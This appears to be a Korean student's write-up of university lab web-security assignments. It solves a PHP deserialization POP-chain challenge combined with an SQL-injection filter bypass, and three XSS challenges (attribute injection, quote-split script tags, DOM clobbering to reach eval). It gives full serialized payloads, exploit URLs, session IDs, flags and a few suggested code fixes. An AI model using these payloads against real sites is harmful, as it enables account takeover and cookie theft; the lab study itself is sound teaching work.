POI/POP attack (웹문제는 링크가 죽었습니다)

api.php와 class.php 를 한 파일에 넣어 $data=unserialize($datastr)이 flag를 출력하도록 만드는 입력값을 쉽게 찾도록 만들었습니다.

```
  public function checkAnswer($userid, $passwd) {
        $hash = md5($passwd);
        $result = $this->driver->query('select role from user where
userid = "%s" and passwd = "%s"', array($userid, $hash))[0];
        if ($result["role"] == "admin")
            die($this->flag);
        else
            die("");
    }
```

목표하는 바는 @call_user_func_array 함수로 checkAnswer를 실행시켜 플래그를 얻는 것이며, Sqli를 통해 $result[“role”]의 값이 admin이 되는 입력을 찾도록 만들었습니다.
userid에 admin" # 을 넣는다면 passwd의 해쉬값과 무관하게
Select role from user where userid = "admin" # and (hashvalue)가 실행되어 원하는 role칼럼의 값인 admin을 얻을 수 있습니다. 그러나, admin을 포함하는 입력값은 필터링에 막히기 때문에, 문자열 덧셈 연산을 이용하여 필터링을 피하기 위해 “ad”+”min”으로 userid 부분을 변형하였습니다.
그에 따라 ad"+"min" #을 userid값으로 설정하였습니다.

Exploit 과정은 다음의 특성을 가진 객체의 unserialize로 수행되도록 작성되었습니다.
Data_Driver_FastMysqli 의 _connect Flag_loader가 Data_Wrapper_Object로 Flag_Loader를 감싸고, Flag_Loader의 driver인 Data_Driver_FastMysqli가 cred로 또다른 Wrapper_Object를 선언한다.
Data_Wrapper_Object가 의 set 메소드를 사용하면 obj_str이 새로이 저장된다. 이 점과 Flag_Loader의 __constructor() 부분을 참조하여 flag를 출력하는 cleanup_args 값을 찾아 작성함으로 원하는 출력을 만들어내는 객체를 만들었고, 이후 datastr의 인자로 사용하기 위해 urlencode를 적용한 채로 serialize 시키는 코드를 작성하였습니다.

```
     $wrapper=new Data_Wrapper_Object();
        $obj=new Flag_Loader();
        $obj->cleanup='checkAnswer';
        $obj->cleanup_args=['ad" + "min" #',"adsf"];
        $a=new Data_Driver_FastMysqli();
        $cred = new Data_Wrapper_Object();
        $cred->set("host", "localhost");
        $cred->set("username", "root");
        $cred->set("password", "rootpw");
        $cred->set("db", "ASSIGN_4");
        $a->setCredential($cred);
        $obj->driver=$a;
        $wrapper->set("FlagLoader",$obj);
        $temp=serialize($wrapper);
        echo "zzzzzzzzzzzzz<br>";
        echo urlencode($temp);
        echo "<br><br>asdf<br><br>";

        $data=unserialize($temp);
```

첨부된 api.php 코드를 실행하여 $temp 변수가 unserialize되면 flag를 실행하는 코드를 urlencode된 형태로 얻을 수 있습니다. set함수를 실행하면서페이로드가 불필요한 인자를 포함하고 있어서 unserialize를 사용하였을 때 형성되는 모든 체인을 설명할 수는 없지만, flag의 출력에 쓰인 필수적인 체인은 다음과 같습니다.

```
Data_Driver_FastMysqli::__wakeup-
>Data_Wrapper_Object::__wakeup(cred)->
Data_Driver_Mysqli::_Connect();
```

Data_Wrapper_Object::__wakeup(unserialize)->Flag_Loader_wakeup (load Flag)

Data_Wrapper_Object::__destruct->call_user_func_array->Flag_Loader::checkAnswer-> die($this->flag) //passwd를 알 필요가 없기 때문에 passwd를 변경하는 sqli가 필요없음

Data_Wrapper_Object의 Obj_str을 사용하기 위해서는 Data_Wrapper_Object가 serialize된 $temp가 unserialize 되어야 한다. //$data=unserialize($temp) 이것을 이용하여 Flag_Loader의 __wakeup 및 그 외의 체인을 실행시킨다.

call_user_func_array에는 cleanup에 checkAnswer를, cleanup_args에는 userid와 passwd를 넣어 sqli injection(사실상 bypass)이 실행되도록 만든다.

이모든 절차를 거치더라도, object안에 있는 insert_id 부분 때문에 filter에서 차단된다. 그렇기 때문에, serialize된 객체의 구성을 망가뜨리지 않도록 insert를 inserq로 바꾸어 payload를 완성한다.

Class.php, api.php 를 합쳐서 만들어 ?type=php 인자를 가지고 실행하였을 때 payload(insert_id 를 inserq_id 로 바꿔주어야함)를 생성하는 코드의 주소
http://172.10.20.119/assign04/api.php?type=php

payload를 datastr인자에 넣으면 플래그를 얻을 수 있습니다.

Object for parameter datastr

O%3A19%3A”
Data_Wrapper_Object"%3A2%3A%7Bs%3A25%3A"%00Data_Wrapper_Object%00data"
%3Ba%3A1%3A%7Bs%3A10%3A"FlagLoader"%3BO%3A11%3A"Flag_Loader"%3A4%3
A%7Bs%3A6%3A"driver"%3BO%3A22%3A"Data_Driver_FastMysqli"%3A2%3A%7Bs%3
A4%3A"cred"%3BO%3A19%3A"Data_Wrapper_Object"%3A2%3A%7Bs%3A25%3A"%00
Data_Wrapper_Object%00data"%3Ba%3A4%3A%7Bs%3A4%3A"host"%3Bs%3A9%3A"l
ocalhost"%3Bs%3A8%3A"username"%3Bs%3A4%3A"root"%3Bs%3A8%3A"password"%
3Bs%3A6%3A"rootpw"%3Bs%3A2%3A"db"%3Bs%3A8%3A"ASSIGN_4"%3B%7Ds%3A7
%3A"obj_str"%3Bs%3A111%3A"a%3A4%3A%7Bs%3A4%3A"host"%3Bs%3A9%3A"local
host"%3Bs%3A8%3A"username"%3Bs%3A4%3A"root"%3Bs%3A8%3A"password"%3Bs
%3A6%3A"rootpw"%3Bs%3A2%3A"db"%3Bs%3A8%3A"ASSIGN_4"%3B%7D"%3B%7Ds
%3A28%3A"%00Data_Driver_FastMysqli%00conn"%3BO%3A6%3A"mysqli"%3A19%3A
%7Bs%3A13%3A"affected_rows"%3BN%3Bs%3A11%3A"client_info"%3BN%3Bs%3A14
%3A"client_version"%3BN%3Bs%3A13%3A"connect_errno"%3BN%3Bs%3A13%3A"conn
ect_error"%3BN%3Bs%3A5%3A"errno"%3BN%3Bs%3A5%3A"error"%3BN%3Bs%3A10
%3A"error_list"%3BN%3Bs%3A11%3A"field_count"%3BN%3Bs%3A9%3A"host_info"%3B
N%3Bs%3A4%3A"info"%3BN%3Bs%3A9%3A"inserq_id"%3BN%3Bs%3A11%3A"server_i
nfo"%3BN%3Bs%3A14%3A"server_version"%3BN%3Bs%3A4%3A"stat"%3BN%3Bs%3A
8%3A"sqlstate"%3BN%3Bs%3A16%3A"protocol_version"%3BN%3Bs%3A9%3A"thread_i
d"%3BN%3Bs%3A13%3A"warning_count"%3BN%3B%7D%7Ds%3A17%3A"%00Flag_Lo
ader%00flag"%3BN%3Bs%3A7%3A"cleanup"%3Bs%3A11%3A"checkAnswer"%3Bs%3A
12%3A"cleanup_args"%3Ba%3A2%3A%7Bi%3A0%3Bs%3A13%3A"ad"+%2B+"min"+
%23"%3Bi%3A1%3Bs%3A4%3A"adsf"%3B%7D%7D%7Ds%3A7%3A"obj_str"%3Bs%3A
968%3A"a%3A1%3A%7Bs%3A10%3A"FlagLoader"%3BO%3A11%3A"Flag_Loader"%3A
4%3A%7Bs%3A6%3A"driver"%3BO%3A22%3A"Data_Driver_FastMysqli"%3A2%3A%7B
s%3A4%3A"cred"%3BO%3A19%3A"Data_Wrapper_Object"%3A2%3A%7Bs%3A25%3A"
%00Data_Wrapper_Object%00data"%3Ba%3A4%3A%7Bs%3A4%3A"host"%3Bs%3A9%
3A"localhost"%3Bs%3A8%3A"username"%3Bs%3A4%3A"root"%3Bs%3A8%3A"passwor
d"%3Bs%3A6%3A"rootpw"%3Bs%3A2%3A"db"%3Bs%3A8%3A"ASSIGN_4"%3B%7Ds%
3A7%3A"obj_str"%3Bs%3A111%3A"a%3A4%3A%7Bs%3A4%3A"host"%3Bs%3A9%3A"l
ocalhost"%3Bs%3A8%3A"username"%3Bs%3A4%3A"root"%3Bs%3A8%3A"password"%
3Bs%3A6%3A"rootpw"%3Bs%3A2%3A"db"%3Bs%3A8%3A"ASSIGN_4"%3B%7D"%3B%
7Ds%3A28%3A"%00Data_Driver_FastMysqli%00conn"%3BO%3A6%3A"mysqli"%3A19%
3A%7Bs%3A13%3A"affected_rows"%3BN%3Bs%3A11%3A"client_info"%3BN%3Bs%3A1
4%3A"client_version"%3BN%3Bs%3A13%3A"connect_errno"%3BN%3Bs%3A13%3A"con
nect_error"%3BN%3Bs%3A5%3A"errno"%3BN%3Bs%3A5%3A"error"%3BN%3Bs%3A10
%3A"error_list"%3BN%3Bs%3A11%3A"field_count"%3BN%3Bs%3A9%3A"host_info"%3B
N%3Bs%3A4%3A"info"%3BN%3Bs%3A9%3A"inserq_id"%3BN%3Bs%3A11%3A"server_i
nfo"%3BN%3Bs%3A14%3A"server_version"%3BN%3Bs%3A4%3A"stat"%3BN%3Bs%3A
8%3A"sqlstate"%3BN%3Bs%3A16%3A"protocol_version"%3BN%3Bs%3A9%3A"thread_i
d"%3BN%3Bs%3A13%3A"warning_count"%3BN%3B%7D%7Ds%3A17%3A"%00Flag_Lo
ader%00flag"%3BN%3Bs%3A7%3A"cleanup"%3Bs%3A11%3A"checkAnswer"%3Bs%3A
12%3A"cleanup_args"%3Ba%3A2%3A%7Bi%3A0%3Bs%3A13%3A"ad"+%2B+"min"+
%23"%3Bi%3A1%3Bs%3A4%3A"adsf"%3B%7D%7D%7D"%3B%7D

Payload

http://172.10.20.119/assignment4/src/api.php?userid=qwer&userpw=asdf&type=php&datastr=O%3A19%3A%22Data_Wrapper_Object%22%3A2%3A%7Bs%3A25%3A%22%00Data_Wrapper_Object%00data%22%3Ba%3A1%3A%7Bs%3A10%3A%22FlagLoader%22%3BO%3A11%3A%22Flag_Loader%22%3A4%3A%7Bs%3A6%3A%22driver%22%3BO%3A22%3A%22Data_Driver_FastMysqli%22%3A2%3A%7Bs%3A4%3A%22cred%22%3BO%3A19%3A%22Data_Wrapper_Object%22%3A2%3A%7Bs%3A25%3A%22%00Data_Wrapper_Object%00data%22%3Ba%3A4%3A%7Bs%3A4%3A%22host%22%3Bs%3A9%3A%22localhost%22%3Bs%3A8%3A%22username%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22rootpw%22%3Bs%3A2%3A%22db%22%3Bs%3A8%3A%22ASSIGN_4%22%3B%7Ds%3A7%3A%22obj_str%22%3Bs%3A111%3A%22a%3A4%3A%7Bs%3A4%3A%22host%22%3Bs%3A9%3A%22localhost%22%3Bs%3A8%3A%22username%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22rootpw%22%3Bs%3A2%3A%22db%22%3Bs%3A8%3A%22ASSIGN_4%22%3B%7D%22%3B%7Ds%3A28%3A%22%00Data_Driver_FastMysqli%00conn%22%3BO%3A6%3A%22mysqli%22%3A19%3A%7Bs%3A13%3A%22affected_rows%22%3BN%3Bs%3A11%3A%22client_info%22%3BN%3Bs%3A14%3A%22client_version%22%3BN%3Bs%3A13%3A%22connect_errno%22%3BN%3Bs%3A13%3A%22connect_error%22%3BN%3Bs%3A5%3A%22errno%22%3BN%3Bs%3A5%3A%22error%22%3BN%3Bs%3A10%3A%22error_list%22%3BN%3Bs%3A11%3A%22field_count%22%3BN%3Bs%3A9%3A%22host_info%22%3BN%3Bs%3A4%3A%22info%22%3BN%3Bs%3A9%3A%22inserq_id%22%3BN%3Bs%3A11%3A%22server_info%22%3BN%3Bs%3A14%3A%22server_version%22%3BN%3Bs%3A4%3A%22stat%22%3BN%3Bs%3A8%3A%22sqlstate%22%3BN%3Bs%3A16%3A%22protocol_version%22%3BN%3Bs%3A9%3A%22thread_id%22%3BN%3Bs%3A13%3A%22warning_count%22%3BN%3B%7D%7Ds%3A17%3A%22%00Flag_Loader%00flag%22%3BN%3Bs%3A7%3A%22cleanup%22%3Bs%3A11%3A%22checkAnswer%22%3Bs%3A12%3A%22cleanup_args%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22ad%22+%2B+%22min%22+%23%22%3Bi%3A1%3Bs%3A4%3A%22adsf%22%3B%7D%7D%7Ds%3A7%3A%22obj_str%22%3Bs%3A968%3A%22a%3A1%3A%7Bs%3A10%3A%22FlagLoader%22%3BO%3A11%3A%22Flag_Loader%22%3A4%3A%7Bs%3A6%3A%22driver%22%3BO%3A22%3A%22Data_Driver_FastMysqli%22%3A2%3A%7Bs%3A4%3A%22cred%22%3BO%3A19%3A%22Data_Wrapper_Object%22%3A2%3A%7Bs%3A25%3A%22%00Data_Wrapper_Object%00data%22%3Ba%3A4%3A%7Bs%3A4%3A%22host%22%3Bs%3A9%3A%22localhost%22%3Bs%3A8%3A%22username%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22rootpw%22%3Bs%3A2%3A%22db%22%3Bs%3A8%3A%22ASSIGN_4%22%3B%7Ds%3A7%3A%22obj_str%22%3Bs%3A111%3A%22a%3A4%3A%7Bs%3A4%3A%22host%22%3Bs%3A9%3A%22localhost%22%3Bs%3A8%3A%22username%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22rootpw%22%3Bs%3A2%3A%22db%22%3Bs%3A8%3A%22ASSIGN_4%22%3B%7D%22%3B%7Ds%3A28%3A%22%00Data_Driver_FastMysqli%00conn%22%3BO%3A6%3A%22mysqli%22%3A19%3A%7Bs%3A13%3A%22affected_rows%22%3BN%3Bs%3A11%3A%22client_info%22%3BN%3Bs%3A14%3A%22client_version%22%3BN%3Bs%3A13%3A%22connect_errno%22%3BN%3Bs%3A13%3A%22connect_error%22%3BN%3Bs%3A5%3A%22errno%22%3BN%3Bs%3A5%3A%22error%22%3BN%3Bs%3A10%3A%22error_list%22%3BN%3Bs%3A11%3A%22field_count%22%3BN%3Bs%3A9%3A%22host_info%22%3BN%3Bs%3A4%3A%22info%22%3BN%3Bs%3A9%3A%22inserq_id%22%3BN%3Bs%3A11%3A%22server_info%22%3BN%3Bs%3A14%3A%22server_version%22%3BN%3Bs%3A4%3A%22stat%22%3BN%3Bs%3A8%3A%22sqlstate%22%3BN%3Bs%3A16%3A%22protocol_version%22%3BN%3Bs%3A9%3A%22thread_id%22%3BN%3Bs%3A13%3A%22warning_count%22%3BN%3B%7D%7Ds%3A17%3A%22%00Flag_Loader%00flag%22%3BN%3Bs%3A7%3A%22cleanup%22%3Bs%3A11%3A%22checkAnswer%22%3Bs%3A12%3A%22cleanup_args%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A13%3A%22ad%22+%2B+%22min%22+%23%22%3Bi%3A1%3Bs%3A4%3A%22adsf%22%3B%7D%7D%7D%22%3B%7D

XSS ATTACKS.

Prob1

http://172.10.20.119/assignment3/src/prob1/?nick=%22=%22asdf%22%20onfocus=%22alert(document.cookie)%22%20autofocus%20&age=1234

flag=flag%7BHTML_can_help_XSS%7D; PHPSESSID=9qi3h7fl13mhirabqv7h6mg7a5

flag=flag{HTML_can_help_XSS};PHPSESSID=9qi3h7fl13mhirabqv7h6mg7a5

PHP의 Loose comparison에 의하여 발생한 오류로
원하는 문자(열)을 찾아내면 그 첫번째 위치를 리턴하는 strpos가 0을 리턴한 것이 false와 동일하게 여겨짐. 따라서 큰따옴표 필터링을 할 수 없게 되어 xss injection이 가능해집니다.

```
if(strpos($nick, '"') != FALSE) {
    $nick = str_replace('"', "", $nick); //remove double quotes
}
```

!= 부분을 === 으로 바꾸어 자료형까지도 비교하는 비교연산자로 바꾸어주면 “를 필터링하지 못하는 문제에서 벗어날 수 있다.

```
if(strpos($nick, '"') === FALSE) {

}else{
    $nick = str_replace('"', "", $nick); //remove double quotes
}
```

Prob2

</text'area><scrip't>alert(docum'ent.cookie)</scrip't></h1>
' filtering을 문자들 다음에 체크하기 때문에 취약점 발생함. 오히려 script를 피하는 우회방법으로 이용된다.

위의 script가 base64로 인코딩된 값이 get 파라미터로 전달되도록 만들면 script가 실행됩니다.

index.php에서 실행되면 admin_index.php에서도 실행될 것입니다..

http://172.10.20.119/assignment3/src/prob2/index.php?body=PC90ZXh0J2FyZWE%2BPHNjcmlwJ3Q%2BYWxlcnQoZG9jdSdtZW50LmNvb2tpZSk8L3NjcmlwJ3Q%2BPC9oMT4%3D

(아래 링크에 크롬 시크릿 브라우저로 접속하면
SESSIONID=687a2cf625d10568c6567d395e820d93 alert가 뜹니다)
http://172.10.20.119/assignment3/src/prob2/admin_index.php?body=PC90ZXh0J2FyZWE%2BPHNjcmlwJ3Q%2BYWxlcnQoZG9jdSdtZW50LmNvb2tpZSk8L3NjcmlwJ3Q%2BPC9oMT4%3D

크롬 탭 => 도구 더보기 => 개발자도구 => 애플리케이션 => SESSIONID를 687a2cf625d10568c6567d395e820d93으로 설정하지 않으면 admin_zone에 접속 불가능
admin_zone에 들어간 후 20200637 입력 후 submit 버튼을 클릭하면 flag를 얻습니다.
20200637 에 대한 flag
flag{bc61c41b9a6a284f7402010c8b6f705f}
(쌍)따옴표 체크 과정에서 !== 연산자를 사용할 것, 따옴표 체크 이후에 script문을 사용할 것.

Prob3

User name 부분에서 injection이 가능하지만 <script> 태그 사용이 CSP 보안설정에 의해 nonce 값을 알아야만 가능하기 때문에 바로 xss 공격을 할 수 없습니다.
그렇기 때문에 <script nonce="<?=$nonce>"> 안쪽의 코드를 이용하여 공격하는 방법을 찾아보면, else if(window.pref.method =="javascript:eval") 을 비교하는 부분이 등장하게 됩니다.
window 객체는 html상의 모든 객체(자기자신까지도)를 child로 가지고 있기 때문에, window.id명은 document.getElementsByid()와도 같은 출력을 가져오게 됩니다. Id가 중복되는 경우에는 이 두 함수 모두 HTMLCollection으로 출력을 가져오게 됩니다.
HTMLCollectioon을 구성하게 만들면 HTMLCollection 자체가 window에 딸린 객체가 됩니다. 그러므로 window.pref.method가 객체 안에서 name이 method인 elements에 접근하게 됩니다. 이후 window.pref.method=="javscript:eval"는 문자열간의 비교연산이기 때문에 window.pref.method에 대해서 toString을 한 값이 javascript:eval이 되게 만든다면, eval함수를 사용하여 xss공격을 할 수 있게 됩니다. 이를 위해서 id가 pref로 중복되는 태그를 작성하고 name이 다른

http://172.10.20.119/assignment3/src/prob3/?uname=asdf%3Cp+id%3D%22pref%22+name%3D%22def%22%3EABC%3C%2Fp%3E%3Ca+href%3D%22javascript%3Aeval%22+id%3D%22pref%22+name%3D%22method%22%3E%3C%2Fa%3EABC&name=asdf&val=4567&mode=0

asdf ABC ABC

==> eval 함수가 실행되어 쿠키가 수정되었습니다. 이를 확인할 수는 없으나 window.pref.name 과 window.pref.description을 가져오는 id가 app_name인 태그와 app_desc인 태그가 모두 undefined 임을 보면 window.pref가 의도한 객체로 변경됨을 엿볼 수 있습니다.